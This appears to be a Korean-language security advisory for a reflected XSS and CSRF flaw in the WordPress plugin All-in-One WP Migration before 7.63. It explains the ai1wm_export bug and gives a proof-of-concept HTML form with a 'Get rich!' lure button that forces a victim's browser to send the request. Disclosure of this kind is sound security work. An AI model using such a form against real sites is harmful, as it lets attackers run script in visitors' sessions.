All-in-One WP Migration < 7.63 - 인증되지 않은 반사형 XSS + CSRF

설명

이 플러그인은 ai1wm_export 액션에 대해 잘못된 콘텐츠 타입을 사용하고 응답을 적절히 이스케이프 처리하지 않습니다. 이로 인해 공격자가 요청을 조작하여 방문자가 제출할 경우 응답에 임의의 HTML 또는 JavaScript가 삽입되어 피해자의 세션에서 실행될 수 있습니다.

개념 증명

공격자

취약점을 재현하려면 플러그인을 통해 웹사이트의 모든 콘텐츠를 내보내고 출력 파일 이름에 유효하지 않은 이름을 삽입하면 됩니다.

공격자 영상

취약점을 검증함으로써 CSRF와 결합하여 공격할 수 있으며, 이는 피해자의 브라우저가 페이로드가 포함된 요청을 보내도록 강제합니다.

피해자

피해자 영상

코드

<form action="https://example.com/wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1" method="POST">
  <!--
    Note: The secret key must be obtained through other means.
    It is stored in the site option `ai1wm_secret_key`, but is
    static for the lifetime of the site.
  -->
  <input type="hidden" name="secret_key" value="[secret_key]">
  <input type="hidden" name="ai1wm_manual_export" value="1">
  <input type="hidden" name="archive" value="">

  <input type="submit" value="Get rich!">
</form>

영향을 받는 버전

All-in-One WP Migration < 7.63

참고 자료

Sucuri

WPScan

Hacking Force

사이트 간 스크립팅 (XSS)

분류

유형: 크로스 사이트 스크립팅 (XSS)

OWASP TOP 10: A03:2021-Injection

CWE: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

연구원/해커

Geovanni Campos (GeoZIN), Thiago Martins (Kirito), Jorge Buzeti (R3tr0), Leandro Inacio (Saitama), Lucas de Souza (Sinnat), Matheus Oliveira (Froyd), Filipe Baptistella (Baptistella), Leonardo Paiva (Megatron), Jose Thomaz (Pip3r), Joao Maciel (Yohan), Vinicius Pereira (Vini), , Hudson Nowak (Nowak) e Guilherme Acerbi (Ghost).